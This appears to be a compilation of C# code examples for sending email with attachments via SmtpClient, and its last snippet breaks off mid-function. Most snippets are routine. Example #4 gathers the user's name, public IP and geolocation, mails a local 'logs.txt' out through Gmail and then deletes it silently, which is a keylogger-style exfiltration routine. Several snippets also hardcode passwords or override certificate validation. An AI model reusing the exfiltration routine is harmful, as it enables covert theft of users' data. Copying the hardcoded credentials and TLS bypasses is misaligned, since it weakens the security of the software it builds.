public bool sendemail(string attached, string destinatario)
        {
            try
            {
                string      smtp       = ConfigurationManager.AppSettings["SMTP"].ToString();
                string      USUARIO    = ConfigurationManager.AppSettings["USUARIO"].ToString();
                string      SENHA      = ConfigurationManager.AppSettings["SENHA"].ToString();
                MailMessage mail       = new MailMessage();
                SmtpClient  SmtpServer = new SmtpClient(smtp);

                mail.From = new MailAddress(USUARIO);
                mail.To.Add(destinatario);
                mail.Subject = "Documento convertido";
                mail.Body    = "documento convertido";
                System.Net.Mail.Attachment attachment;
                attachment = new System.Net.Mail.Attachment(attached);
                mail.Attachments.Add(attachment);
                SmtpServer.Port = 587;
                SmtpServer.UseDefaultCredentials = false;
                SmtpServer.Credentials           = new System.Net.NetworkCredential(USUARIO, SENHA);
                SmtpServer.EnableSsl             = true;

                SmtpServer.Send(mail);
                attachment.Dispose();
                return(true);
            }
            catch (Exception ec)
            {
                return(false);
            }
        }
Beispiel #2
0
        public static void Run()
        {
            SmtpClient client = new SmtpClient(IPAddress.Loopback.ToString(), 465);
            client.EnableSsl = true;

            MailMessage message = new MailMessage();
            message.From = new MailAddress("*****@*****.**", "Dr Cooper");
            message.To.Add(new MailAddress("*****@*****.**", "Number 1"));
            message.To.Add(new MailAddress("*****@*****.**", "Number 2"));
            message.To.Add(new MailAddress("*****@*****.**", "Number 3"));
            message.To.Add(new MailAddress("*****@*****.**", "Number 4"));
            message.CC.Add(new MailAddress("*****@*****.**", "Number 5"));
            message.CC.Add(new MailAddress("*****@*****.**", "Number 6"));
            message.CC.Add(new MailAddress("*****@*****.**", "Number 7"));
            message.CC.Add(new MailAddress("*****@*****.**", "Number 8"));
            message.Subject = "This is my subject";
            message.Body = ".";

            Attachment attachment = new Attachment(File.Open(@"C:\Users\Joe\Documents\WebCam Media\Capture\ArcSoft_Video14.wmv", FileMode.Open), "john", "video/x-ms-wmv");
            message.Attachments.Add(attachment);

            System.Net.ServicePointManager.ServerCertificateValidationCallback = Callback;
            client.Send(message);
            attachment.Dispose();
        }
 protected void Button1_Click(object sender, EventArgs e)
 {            
     DataView DV1 = (DataView)AccessDataSource1.Select(DataSourceSelectArguments.Empty);
     foreach (DataRowView DRV1 in DV1)
     {
         string ToAddress = DRV1["Email_Address"].ToString();
         MailMessage message = new MailMessage("*****@*****.**", ToAddress);                
         message.Body = TextBox2.Text;
         message.Subject = TextBox1.Text;
         message.BodyEncoding = System.Text.Encoding.UTF8;
         string Path = HttpContext.Current.Server.MapPath("~/images/EnewsLetters/Temp/");
         FileUpload1.SaveAs(Path + FileUpload1.FileName);
         Attachment attach1 = new Attachment(Path + FileUpload1.FileName);
         message.Attachments.Add(attach1);
         SmtpClient mailserver = new SmtpClient("amcsmail02.amcs.com", 25);
         try
         {
             mailserver.Send(message);
         }
         catch
         {
         }
         attach1.Dispose();
     }
     System.IO.File.Delete(HttpContext.Current.Server.MapPath("~/images/EnewsLetters/Temp/") + FileUpload1.FileName);
     TextBox1.Text = "";
     TextBox2.Text = "";
 }
Beispiel #4
0
        private void send_mail(string from, string to, string user, string password)
        {
            try
            {
                MailMessage mail   = new MailMessage();
                SmtpClient  server = new SmtpClient("smtp.gmail.com");
                server.EnableSsl = true;
                mail.From        = new MailAddress(from);
                mail.To.Add(to);
                string username = Environment.GetEnvironmentVariable("USERNAME");
                mail.Subject = username + " logs";

                /*corpo del messaggio, composto da:
                 *
                 * * * * * * * * * * *
                 * nome utente       *
                 * ip                *
                 * data              *
                 * geolocalization   *
                 * * * * * * * * * * *
                 *
                 */

                //nome utente
                mail.Body = "Name: " + username;
                //data

                mail.Body += "\nDate: " + DateTime.Now.ToString("g");
                //ip
                string ipPubblico = new System.Net.WebClient().DownloadString("http://icanhazip.com");
                mail.Body += "\nPublic ip: " + ipPubblico + "\n";
                //geolocalization
                string   geo             = "http://ip-api.com/json/" + ipPubblico;
                string   geolocalization = new System.Net.WebClient().DownloadString(geo);
                string[] array           = geolocalization.Split(',');
                for (int i = 0; i < array.Length; i++)
                {
                    string temp = array[i] + "\n";
                    temp       = temp.Replace('"', ' ');
                    temp       = temp.Replace('}', ' ');
                    temp       = temp.Replace('{', ' ');
                    mail.Body += temp;
                }

                string path = Environment.GetEnvironmentVariable("USERPROFILE") + "\\logs.txt";
                System.Net.Mail.Attachment allegato = new System.Net.Mail.Attachment(path);
                server.DeliveryMethod = SmtpDeliveryMethod.Network;
                mail.Attachments.Add(allegato);

                server.Port        = 587;
                server.Credentials = new System.Net.NetworkCredential(user, password);
                server.Send(mail);

                //chiusura ed eliminazione file "logs.txt"
                allegato.Dispose();
                server.Dispose();
                File.Delete(path);
            }
            catch (Exception e) { }
        }
Beispiel #5
0
        public bool SendEmailWithAttachment(string toAddress, string subject, string body, bool IsBodyHtml, string MsgFrom, string[] AttachmentFiles)
        {
            bool DisableMail = Convert.ToBoolean(ConfigurationManager.AppSettings["DisableMail"]);

            if (DisableMail)
            {
                return(true);
            }

            bool   result         = true;
            string senderID       = Convert.ToString(ConfigurationManager.AppSettings["SmtpUserID"]);
            string senderPassword = Convert.ToString(ConfigurationManager.AppSettings["SmtpUserPassword"]);
            string Host           = Convert.ToString(ConfigurationManager.AppSettings["SmtpHost"]);
            int    Port           = Convert.ToInt32(ConfigurationManager.AppSettings["SmtpPort"]);
            bool   IsSslEnable    = Convert.ToBoolean(ConfigurationManager.AppSettings["EnableSsl"]);

            MsgFrom = String.IsNullOrEmpty(MsgFrom) ? ConfigurationManager.AppSettings["MailFrom"] : MsgFrom;
            try
            {
                SmtpClient smtp = new System.Net.Mail.SmtpClient
                {
                    Host                  = Host,
                    Port                  = Port,
                    EnableSsl             = IsSslEnable,
                    DeliveryMethod        = SmtpDeliveryMethod.Network,
                    UseDefaultCredentials = false,
                    Credentials           = new System.Net.NetworkCredential(senderID, senderPassword),
                    Timeout               = 30000,
                };
                using (MailMessage message = new MailMessage(senderID, toAddress, subject, body))
                {
                    message.From       = new MailAddress(senderID, MsgFrom);
                    message.IsBodyHtml = IsBodyHtml;

                    if (AttachmentFiles != null)
                    {
                        System.Net.Mail.Attachment attachment;
                        foreach (var attachMent in AttachmentFiles)
                        {
                            attachment = new System.Net.Mail.Attachment(attachMent);
                            message.Attachments.Add(attachment);
                            attachment.Dispose();
                        }
                    }
                    smtp.Send(message);
                    smtp.Dispose();
                }
            }
            catch (Exception ex)
            {
                //Elmah.ErrorSignal.FromCurrentContext().Raise(ex);
                Logger.Error(ex.Message, ex);
                result = false;
            }
            return(result);
        }
        public static async Task send(string adresse, string betreff, string anhang, string rnr)
        {
            using (MailMessage wunschreich_mail = new MailMessage())
                using (SmtpClient client = new SmtpClient())
                    using (Attachment attachment = new System.Net.Mail.Attachment(anhang))
                    {
                        client.Port                  = 25;
                        client.Host                  = "mail.1und1.de";
                        client.Timeout               = 10000;
                        client.DeliveryMethod        = SmtpDeliveryMethod.Network;
                        client.UseDefaultCredentials = false;
                        client.Credentials           = new System.Net.NetworkCredential("*****@*****.**", "test");
                        client.EnableSsl             = false;
                        client.DeliveryMethod        = SmtpDeliveryMethod.Network;
                        wunschreich_mail.IsBodyHtml  = true;
                        wunschreich_mail.AlternateViews.Add(getEmbeddedImage(Directory.GetCurrentDirectory() + "\\signatur.png"));
                        wunschreich_mail.From = new MailAddress("*****@*****.**");
                        wunschreich_mail.To.Add(new MailAddress(adresse));
                        wunschreich_mail.Subject = betreff;
                        wunschreich_mail.Attachments.Add(attachment);


                        int retry = 0;
                        while (retry < 3)
                        {
                            try
                            {
                                await client.SendMailAsync(wunschreich_mail);

                                await dbconnect.updaterecord(rnr, true);

                                attachment.Dispose();
                                break;
                            }
                            catch
                            {
                                var err = dbconnect.updaterecord(rnr, false);
                                attachment.Dispose();
                                retry++;
                            }
                        }
                    }
        }
Beispiel #7
0
        public void SendMail(System.IO.MemoryStream pMSReport, string pStrSellerMail, string pStrFileName)
        {
            string lStrSMTClient = "";
            string lStrFromMail  = "";
            string lStrPassword  = "";
            string lStr          = "";
            int    lIntPort      = 0;


            MailMessage lObjMail       = new MailMessage();
            SmtpClient  lObjSmtpClient = new SmtpClient("smtp.gmail.com");

            System.Net.Mail.Attachment   lObjAttachment    = null;
            System.Net.Mime.ContentType  lObjContentType   = null;
            System.Net.NetworkCredential NetworkCredential = null;
            try
            {
                //MemoryStream Report to PDF Attachment
                lObjContentType = new System.Net.Mime.ContentType(System.Net.Mime.MediaTypeNames.Application.Pdf);
                lObjAttachment  = new System.Net.Mail.Attachment(pMSReport, lObjContentType);
                lObjAttachment.ContentDisposition.FileName = pStrFileName;

                //Credentials and SMTP client config
                NetworkCredential          = new System.Net.NetworkCredential("*****@*****.**", "29091984");
                lObjSmtpClient.Credentials = NetworkCredential;
                lObjSmtpClient.Port        = 587;
                lObjSmtpClient.EnableSsl   = true;


                //Mail
                lObjMail.From = new MailAddress("*****@*****.**", "Andres");
                lObjMail.To.Add(pStrSellerMail);

                lObjMail.Subject = "test email";
                lObjMail.Body    = "test mail body ";
                lObjMail.Attachments.Add(lObjAttachment);

                //Send Mail
                lObjSmtpClient.Send(lObjMail);
            }
            catch (Exception e)
            {
                string dd = e.Message;
            }
            finally
            {
                lObjMail.Dispose();
                lObjSmtpClient.Dispose();
                lObjAttachment.Dispose();
            }
        }
        /// <summary>
        /// Mandar email con un adjunto
        /// </summary>
        /// <param name="_rutaIMG"></param>
        /// <param name="_texto"></param>
        /// <param name="_asunto"></param>
        /// <param name="_destinatario"></param>
        public static Boolean mandarEmailConAdjunto(String _archivoAdjunto, String _texto, String _asunto, String _destinatario)
        {
            try
            {
                // Specify the file to be attached and sent.
                // This example assumes that a file named Data.xls exists in the
                // current working directory.
                string file = _archivoAdjunto;
                // Create a message and set up the recipients.
                MailMessage message = new MailMessage(
                   _destinatario,
                   _destinatario,
                   _asunto,
                   _texto);

                // Create  the file attachment for this e-mail message.
                Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
                // Add time stamp information for the file.
                /*ContentDisposition disposition = data.ContentDisposition;
                disposition.CreationDate = System.IO.File.GetCreationTime(file);
                disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
                disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
                */
                // Add the file attachment to this e-mail message.
                message.Attachments.Add(data);

                //Send the message.
                SmtpClient smtpcli = new SmtpClient("smtp.gmail.com", 587); //use this PORT!
                smtpcli.EnableSsl = true;
                smtpcli.DeliveryMethod = SmtpDeliveryMethod.Network;
                smtpcli.Credentials = new NetworkCredential(EMAIL_SENDER, PASS);

                smtpcli.Send(message);

                data.Dispose();
                return true;
            }
            catch (Exception ex)
            {
                Log.WriteText("Logs: Error envial email (Datos correo)", _texto);
                Log.WriteError("Logs: Error al enviar email", ex);

                return false;
            }
        }
Beispiel #9
0
        public static bool SendEmail(string recipientEmail, string subject, byte[] pdf)
        {
            try
            {
                string SmtpServer = ConfigVars.NewInstance.Host;// "smtp.gmail.com";
                //Smtp Port Number
                int SmtpPortNumber = ConfigVars.NewInstance.Port;
                System.Net.Mail.SmtpClient smtpClient = new System.Net.Mail.SmtpClient(SmtpServer);
                MailMessage mMessage        = new MailMessage();
                string      FromAddress     = ConfigVars.NewInstance.From;
                string      FromAdressTitle = ConfigVars.NewInstance.DisplayName;
                mMessage.From = new MailAddress(FromAddress);


                mMessage.To.Add(recipientEmail);


                mMessage.Subject    = subject;
                mMessage.Body       = "mail with attachment";
                mMessage.IsBodyHtml = true;

                var contentType = new System.Net.Mime.ContentType(System.Net.Mime.MediaTypeNames.Application.Pdf);
                var myStream    = new System.IO.MemoryStream(pdf);
                myStream.Seek(0, SeekOrigin.Begin);

                System.Net.Mail.Attachment attachment = new System.Net.Mail.Attachment(myStream, "test.pdf");

                mMessage.Attachments.Add(attachment);

                smtpClient.Port        = SmtpPortNumber;
                smtpClient.Credentials = new System.Net.NetworkCredential(FromAddress, ConfigVars.NewInstance.Password);

                smtpClient.Send(mMessage);
                attachment.Dispose();
                mMessage.Dispose();
                smtpClient.Dispose();
                return(true);
            }
            catch (Exception err)
            {
                Console.WriteLine("Error in sending mail: " + err.Message);
                return(false);
            }
        }
        public void SendMailWithAttachment(string fromMailAddress, string password, string toMailAddress, string subject, string body, string attPath)
        {
            MailMessage mail       = new MailMessage();
            SmtpClient  SmtpServer = new SmtpClient("smtp.gmail.com");

            mail.From = new MailAddress(fromMailAddress);
            mail.To.Add(toMailAddress);
            mail.Subject = subject;
            mail.Body    = body;

            System.Net.Mail.Attachment attachment;
            attachment = new System.Net.Mail.Attachment(attPath);
            mail.Attachments.Add(attachment);

            SmtpServer.Port        = 587;
            SmtpServer.Credentials = new System.Net.NetworkCredential(fromMailAddress, password);
            SmtpServer.EnableSsl   = true;

            SmtpServer.Send(mail);
            attachment.Dispose();
        }
        public static void SendEmailTo(string to, string fromAddres = "*****@*****.**", string fromPassword = "******",
                                       string fromName = "Occulus", string subject = "Subject", string body = "", string host = "smtp.gmail.com", int port = 587)
        {
            try
            {
                MailMessage mail       = new MailMessage();
                SmtpClient  SmtpServer = new SmtpClient();
                SmtpServer.Host        = host;
                SmtpServer.Port        = 587;
                SmtpServer.Credentials = new NetworkCredential(fromAddres, fromPassword);

                MailAddress mailFrom = new MailAddress(fromAddres, fromName);
                MailAddress mailTo   = new MailAddress(to);

                mail.From = mailFrom;
                mail.To.Add(mailTo);

                mail.Subject = subject;
                mail.Body    = body;

                string pathToTempFile = App.Setting.PathToFolderFiles + $"\\ReportStatistic-{DateTime.Now.Date.GetDateTimeFormats()[0]}.xlsx";
                var    stitisticItems = StisticFormatHelper.StatisticItemFactory(App.Repository.Observes);
                CreateExcelFileHelper.CreateExcelDocument(stitisticItems, pathToTempFile);
                System.Net.Mail.Attachment attachment = new System.Net.Mail.Attachment(pathToTempFile);


                mail.Attachments.Add(attachment);
                SmtpServer.EnableSsl = true;
                SmtpServer.Send(mail);

                attachment.Dispose();
                mail.Dispose();

                File.Delete(pathToTempFile);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
        }
        public void SendMail(string recipientMailAddress, string recipientName, string attachmentFilePath)
        {
            MailMessage mail = new MailMessage();
            SmtpClient smtpServer = new SmtpClient(SMTP_CLIENT_NAME);
            mail.From = new MailAddress(SENDER_MAIL_ADDRESS);
            mail.To.Add(recipientMailAddress);
            mail.Subject = "Jeu Kinect : Photo prise durant votre partie.";
            mail.Body = "Bonjour " + recipientName + " ! \n\n" +
                        "Voici la photo prise lors de votre partie de notre jeu Kinect \"Yandere Escape\".\n\n" +
                        "Merci d'avoir testé notre jeu!\n" +
                        "Cédric Paris & Nawhal Sayarh, élèves de l'IUT Informatique de Clermont-Ferrand.";

            Attachment imageAttachment = new Attachment(attachmentFilePath) { Name = "Photo Jeu Kinect.jpeg" };
            mail.Attachments.Add(imageAttachment);

            smtpServer.Port = SMTP_PORT;
            smtpServer.Credentials = new System.Net.NetworkCredential(SENDER_MAIL_ADDRESS, PASSWORD);
            smtpServer.EnableSsl = true;

            smtpServer.Send(mail);
            imageAttachment.Dispose();
        }
Beispiel #13
0
        private static void SendMail(string FullPath, string FileName)
        {
            int    SMTPPort      = Convert.ToInt32(ConfigurationManager.AppSettings["SMTPPort"]);
            string SMTPHost      = ConfigurationManager.AppSettings["SMTPHost"];
            string SMTPTo        = ConfigurationManager.AppSettings["SMTPTo"];
            string SMTPFrom      = ConfigurationManager.AppSettings["SMTPFrom"];
            string SMTPSubj      = ConfigurationManager.AppSettings["SMTPSubj"];
            string SMTPBody      = ConfigurationManager.AppSettings["SMTPBody"];
            bool   SMTPUserCreds = Convert.ToBoolean(ConfigurationManager.AppSettings["SMTPUserCreds"]);
            string SMTPUser      = ConfigurationManager.AppSettings["SMTPUser"];
            string SMTPPass      = ConfigurationManager.AppSettings["SMTPPass"];


            System.Net.Mail.Attachment attachment;

            SmtpClient client = new SmtpClient();

            client.Port                  = SMTPPort;
            client.Host                  = SMTPHost;
            client.EnableSsl             = false;
            client.Timeout               = 40000;
            client.DeliveryMethod        = SmtpDeliveryMethod.Network;
            client.UseDefaultCredentials = true;

            client.Credentials = new System.Net.NetworkCredential(SMTPUser, SMTPPass);

            MailMessage mm = new MailMessage(SMTPFrom, SMTPTo, SMTPSubj, SMTPBody);

            attachment = new System.Net.Mail.Attachment(FullPath);
            mm.Attachments.Add(attachment);
            mm.BodyEncoding = UTF8Encoding.UTF8;
            mm.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;

            client.Send(mm);
            attachment.Dispose();
        }
Beispiel #14
0
        public static bool SendMailVal(string[] content)
        {
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress("*****@*****.**");
            // Gmail Address from where you send the mail
            var fromAddress = "*****@*****.**";
            // any address where the email will be sending
            //var toAddress = "*****@*****.**";
            mail.To.Add(content[2]);

            const string fromPassword = "******";
            System.Net.NetworkCredential cred = new System.Net.NetworkCredential(fromAddress, fromPassword);
            //Password of your gmail address

            // Passing the values and make a email formate to display
            mail.Subject = "REGISTRATION : AARA Tradeshow 2015";
            string location = "7310 Park Heights Avenue,Baltimore MD 21208";
            //StringBuilder str = GetString(mail, new DateTime(2015, 6, 28, 9, 0, 0), new DateTime(2015, 6, 28, 11, 0, 0), location);
            string filepath = MakeHoursEvent(mail, new DateTime(2015, 6, 28, 2, 0, 0), new DateTime(2015, 6, 28, 6, 0, 0), location);
            //String[] _strarray = new String[str.Length];

            //System.IO.File.WriteAllLines(HttpContext.Current.Server.MapPath();
            mail.IsBodyHtml = true;
            string body = string.Empty;
            //body = content[2];

            body = "<!DOCTYPE html>" +
                    "<html xmlns='http://www.w3.org/1999/xhtml'>" +
                    "<head>" +
                        "<title></title>" +
                    "</head>" +
                    "<body>" +
                        "<div style = 'border-top:3px solid #22BCE5'>&nbsp;</div>" +
                        "<span style = 'font-family:Verdana;font-size:10pt'>" +
                            "Dear <b>{Name}</b>,<br /><br /> " +
                            "You’re successfully registered for the event: AARA Tradeshow 2015.<br /><br /> " +
                            "<u>What should you do NEXT on the EVENT DAY? :</u>" +
                            "<ul type='disc'>" +
                                "<li>Go to main entrance and visit “Badge Pickup” counter.</li>" +
                                "<li>Provide your registered phone number : {Phonenumber}, in order to receive your badge.</li>" +
                                "<li>Keep your badge visible, during your event visit</li>" +
                            "</ul>" +
                            "<br />" +
                            "Location : <b>{Location}</b><br />" +
                            "Time     : <b>{DateTime}</b><br />" +
                            "<br /><br /> " +
                            "Thank you <br />" +
                            "Registration Manager <br />" +
                            "Saitec Solutions Inc. <br />" +
                            "<br /><br />" +
                            "The information contained in this email is intended solely for the addressee to confirm their registration at the event and may be confidential and legally privileged. In the event you are not the intended recipient of this email or have obtained unauthorized access, please notify at " +
                            "<a href='mailto:[email protected]'>[email protected]</a>" +
                            "and destroy the email.  You are strictly prohibited from reading it and from disclosing or using its contents in any manner, and doing so may result in criminal and/or civil liability.   Email transmission and attachments cannot be guaranteed to be secure or error-free. Saitec Solutions (USA), Inc. does not accept legal responsibility for any errors, omissions, security issues or viruses associated with your receipt of this email.<br />" +
                            "Event Registration Powered By Saitec Solutions (USA) Inc." +

                        "</span>" +

                    "</body>" +
                    "</html>";

            body = body.Replace("{Name}", content[0]);
            body = body.Replace("{Phonenumber}", content[1]);
            body = body.Replace("{Location}", location);
            body = body.Replace("{DateTime}", new DateTime(2015, 6, 28, 14, 30, 0) + " To " + new DateTime(2015, 6, 28, 18, 0, 0));
            mail.Body = body;

            // smtp settings
            var smtp = new System.Net.Mail.SmtpClient();
            {
                smtp.Host = "smtp.gmail.com";
                smtp.Port = 587;
                smtp.EnableSsl = true;
                smtp.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
                smtp.Credentials = new NetworkCredential(fromAddress, fromPassword);
                smtp.Timeout = 20000;
            }

            // This is the another way to display the calendar.
            //string location = "7310 Park Heights Avenue,Baltimore MD 21208";
            //StringBuilder str = GetString(mail, new DateTime(2015, 6, 28, 9, 0, 0), new DateTime(2015, 6, 28, 11, 0, 0), location);
            //System.Net.Mime.ContentType type = new System.Net.Mime.ContentType("text/Calendar");
            //type.Parameters.Add("method", "REQUEST");
            //type.Parameters.Add("name", "Cita.ics");
            //mail.AlternateViews.Add(AlternateView.CreateAlternateViewFromString(str.ToString(), type));

            Attachment atach = new Attachment(filepath);
            mail.Attachments.Add(atach);

            // Passing values to smtp object
            try
            {
                smtp.Send(mail);
                mail.Dispose();
                smtp.Dispose();
                atach.Dispose();
                return true;
            }
            catch (Exception ex)
            {
                throw new Exception(ex.Message);
            }
        }
Beispiel #15
0
        /// <summary>
        /// Sends out the monthly GDS report to the desired recipients. This reports shows a summary
        /// of the user count by department. In addition, an excel file with the list of all users 
        /// is also attached.
        /// </summary>
        /// <param name="attachment"></param>
        public void SendMonthlyReport(IEnumerable<CompanySummary> companySummary, MemoryStream attachment = null)
        {
            Message = new MailMessage();
            Message.From = new MailAddress(ReplyEmail);
            Message.Subject = "GDS Report for " + DateTime.Now.ToString("MM-dd-yyyy");

            foreach(var email in Recipients)
            {
                Message.To.Add(email);
            }

            attachment.Position = 0;
            Attachment excelFile = new Attachment(attachment, "GDS Report-" + DateTime.Now.ToString("MM-dd-yyyy") + ".xlsx", "application/vnd.ms-excel");
            Message.Attachments.Add(excelFile);

            Message.IsBodyHtml = true;
            StringBuilder msg = new StringBuilder();

            msg.AppendLine("<p>See attached for the GDS Report generated on " + DateTime.Now.ToString("MMMM dd, yyyy h:mm tt") + "</p>");
            msg.AppendLine("<table><tr><th style='text-align: left;'>Company</th><th>User Count</th></tr>");

            foreach(var company in companySummary)
            {
                msg.AppendLine("<tr><td>" + company.CompanyName + "</td><td style='text-align: right'>" + company.UserCount.ToString() + "</td></tr>");
            }

            msg.AppendLine("<tr style='font-weight: bold;'><td>Total</td><td style='text-align: right;'>" + companySummary.Sum(c => c.UserCount).ToString() + "</td></tr>");
            msg.AppendLine("</table>");

            Message.Body = msg.ToString();

            try
            {
                SmtpServer.Send(Message);
            }
            catch(Exception e)
            {
            }
            finally
            {
                SmtpServer.Dispose();
                excelFile.Dispose();
            }
        }
Beispiel #16
0
        public string SendEmail(string to, string subject, string note, string charts, string provider, string patient_info, string patient)
        {
            string lpath = "PATH_HERE";

            // Add your operation implementation here
            string[] files = Regex.Split(charts, "!#!");

            if (to == "")
            {
                deleteChartFiles(lpath, files, null);
                return "The Symptom Report is removed";
            }

            // Generate PDF file.
            // First create a table of charts.
            string chart_tbl = "<table border=\"0\"><tr>";
            int i = 0;
            int count = 0;
            int tot_count = files.Length;
            foreach (string fn in files)
            {
                string img_path = "<td><img width=\"350\" src=\"" + lpath + fn + "\"/></td>";
                chart_tbl += img_path;
                i++;
                count++;
                if (i % 2 == 0)
                {
                    if (count == tot_count)
                    {
                        chart_tbl += "</tr>";
                    }
                    else
                    {
                        chart_tbl += "</tr><tr>";
                    }
                }
            }
            if (i % 2 == 1)
            {
                chart_tbl += "<td></td></tr></table>";
            }
            else
            {
                chart_tbl += "</table>";
            }

            string html = "<p align=\"center\"><b>MyJourney Compass Symptom Report</b></p><br/><p><b>Date</b>: " + DateTime.Now.ToString("MM/dd/yyyy HH:mm:ss") + "</p><p>" + provider + "</p><p>" + patient_info + "</p><br/><p><b>Patient Note</b>: " + note + "</p><br/>" + chart_tbl;
            Document document = new Document(PageSize.LETTER, 30, 30, 30, 30);
            MemoryStream msOutput = new MemoryStream();
            TextReader reader = new StringReader(html);

            // PdfWriter pdfwriter = PdfWriter.GetInstance(document, msOutput);
            string unique_name = Guid.NewGuid().ToString() + ".pdf";
            string pdfn = lpath + unique_name;

            try
            {
                PdfWriter pdfwriter = PdfWriter.GetInstance(document, new FileStream(pdfn, FileMode.Create));
                //HTMLWorker worker = new HTMLWorker(document);
                document.Open();
                XMLWorkerHelper worker = XMLWorkerHelper.GetInstance();
                worker.ParseXHtml(pdfwriter, document, reader);
                //worker.Parse(reader);
                //worker.Close();
                document.Close();
                pdfwriter.Close();
            }
            catch (Exception e)
            {
                deleteChartFiles(lpath, files, null);
                return "Error on PDF Generation: " + e.Message;
            }

            // Send an Direct email.
            // string from = "MyJourneyCompass Symptom Tracker <*****@*****.**>";
            string p_to;
            if (to.IndexOf("harbin", StringComparison.OrdinalIgnoreCase) >= 0)
            {
                p_to = "**@**";
            }
            else if (to.IndexOf("gadirect", StringComparison.OrdinalIgnoreCase) >= 0)
            {
                p_to = "**@**";
            }
            else if (to.IndexOf("i3l", StringComparison.OrdinalIgnoreCase) >= 0)
            {
                p_to = "**@**";
            }
            else
            {
                deleteChartFiles(lpath, files, pdfn);
                return "Sorry. <b>" + to + "</b> is not a participating clinic.<br/>Please check the name and try again";
            }

            MailAddress m_from, m_to;
            string host;
            m_from = new MailAddress("**@**", "MyJourney Compass Symptom Tracker");
            m_to = new MailAddress(p_to);
            host = "smtp.gadirect.net";

            int port = 25;

            MailMessage message = new MailMessage(m_from, m_to);
            //MailMessage message = new MailMessage(from, p_to);

            message.Subject = subject;
            message.IsBodyHtml = true;
            message.Body = @"Dear <b>Harbin Clinic</b><br/><br/>This message contains a symptom report.<br/><br/>======== Below is a note from patient =========";
            if (note != null)
            {
                message.Body += "<pre>" + note + "</pre>";
            }

            try
            {
                //Attachment data = new Attachment(msOutput, "SymptomReport.pdf", "application/pdf");
                Attachment data = new Attachment(pdfn, MediaTypeNames.Application.Pdf);
                message.Attachments.Add(data);
                ContentDisposition disposition = data.ContentDisposition;
                disposition.FileName = patient.Replace(" ", "_") + "_" + DateTime.Now.ToString("MMddyyyyHHmmss") + ".pdf";

                ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(RemoteServerCertificateValidationCallback);
                SmtpClient client = new SmtpClient(host, port);

                client.Credentials = new System.Net.NetworkCredential("**@**", "***");
                client.EnableSsl = true;
                client.Send(message);

                data.Dispose();
                //msOutput.Close();
            }
            catch (Exception e)
            {
                deleteChartFiles(lpath, files, pdfn);
                return "Error on sending Direct Message: " + e.Message;
            }

            deleteChartFiles(lpath, files, pdfn);
            return "Direct Message Sent Out to <b>" + p_to + "</b>";
        }
Beispiel #17
0
        /// <exception cref="UnauthorizedAccessException">The caller does not have the required permission. </exception>
        /// <exception cref="PathTooLongException">The specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must be less than 248 characters, and file names must be less than 260 characters. </exception>
        public static void CreateMessageWithAttachment(string server)
        {
            // Specify the file to be attached and sent. 
            // This example assumes that a file named Data.xls exists in the 
            // current working directory.
            const string file = "data.xls";
            // Create a message and set up the recipients.
            MailMessage message = new MailMessage(
                                      "*****@*****.**",
                                      "*****@*****.**",
                                      "Quarterly data report.",
                                      "See the attached spreadsheet.");
            
            // Create  the file attachment for this e-mail message.
            Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
            // Add time stamp information for the file.
            ContentDisposition disposition = data.ContentDisposition;
            disposition.CreationDate = File.GetCreationTime(file);
            disposition.ModificationDate = File.GetLastWriteTime(file);
            disposition.ReadDate = File.GetLastAccessTime(file);
            // Add the file attachment to this e-mail message.
            message.Attachments.Add(data);
            
            //Send the message.
            var client = new SmtpClient(server) {Credentials = CredentialCache.DefaultNetworkCredentials};
            // Add credentials if the SMTP server requires them.

            try {
                client.Send(message);
            }
            catch (Exception ex) {
                // TODO: AOP
                Trace.TraceError("CreateMessageWithAttachment(string server)");
                Console.WriteLine("Exception caught in CreateMessageWithAttachment(): {0}", ex);
                Trace.TraceError(ex.Message);
            }
            // Display the values in the ContentDisposition for the attachment.
            ContentDisposition cd = data.ContentDisposition;
            Console.WriteLine("Content disposition");
            Console.WriteLine(cd.ToString());
            Console.WriteLine("File {0}", cd.FileName);
            Console.WriteLine("Size {0}", cd.Size);
            Console.WriteLine("Creation {0}", cd.CreationDate);
            Console.WriteLine("Modification {0}", cd.ModificationDate);
            Console.WriteLine("Read {0}", cd.ReadDate);
            Console.WriteLine("Inline {0}", cd.Inline);
            Console.WriteLine("Parameters: {0}", cd.Parameters.Count);
            foreach (DictionaryEntry d in cd.Parameters)
                Console.WriteLine("{0} = {1}", d.Key, d.Value);
            data.Dispose();
        }
Beispiel #18
0
        void kod()
        {
            string Call;

            string APIKEY  = GetAPI();
            string MYEMAIL = GetEmail();
            string MYPASS  = GetPass();


            FileStream stream = File.Open(@"C:\Users\430\Documents\Visual Studio 2015\Projects\Weather\Weather\bin\Debug\3.xlsx", FileMode.Open, FileAccess.Read);

            IExcelDataReader excelReader = ExcelReaderFactory.CreateOpenXmlReader(stream);

            DataSet Eresult = excelReader.AsDataSet();
            var     Iclient = new ImapClient("imap.gmail.com", true);

            Iclient.Connect();

            string mailto = "null";  string message = "0";

            Iclient.Login(MYEMAIL, MYPASS);
            Iclient.Behavior.MessageFetchMode = MessageFetchMode.Tiny;
            var folder = Iclient.Folders.Inbox;

            folder.Messages.Download("Unseen");

            MailMessage mail = new MailMessage();

            // StreamWriter file = new StreamWriter(@"C:\Users\430\Documents\Visual Studio 2015\Projects\Weather\Weather\bin\Debug\Base.txt");
            foreach (ImapX.Message x in folder.Messages)
            {
                string datetime = DateTime.Now.ToLongTimeString() + DateTime.Now.ToLongDateString();
                datetime  = datetime.Replace(@":", "-");
                mail.From = new System.Net.Mail.MailAddress(x.From.Address);
                mail.To.Add(new System.Net.Mail.MailAddress(x.From.Address));
                mail.Subject = "Hi from weather bot";
                SmtpClient client = new SmtpClient();
                client.Host           = "smtp.gmail.com";
                client.Port           = 587;
                client.EnableSsl      = true;
                client.Credentials    = new NetworkCredential(MYEMAIL, MYPASS);
                client.DeliveryMethod = SmtpDeliveryMethod.Network;
                x.Subject             = x.Subject.ToLower();
                x.Subject             = Regex.Replace(x.Subject, "[^0-9a-zA-Z]+", "");

                x.Body.Text.ToLower();



                if (auth(x, excelReader))
                {
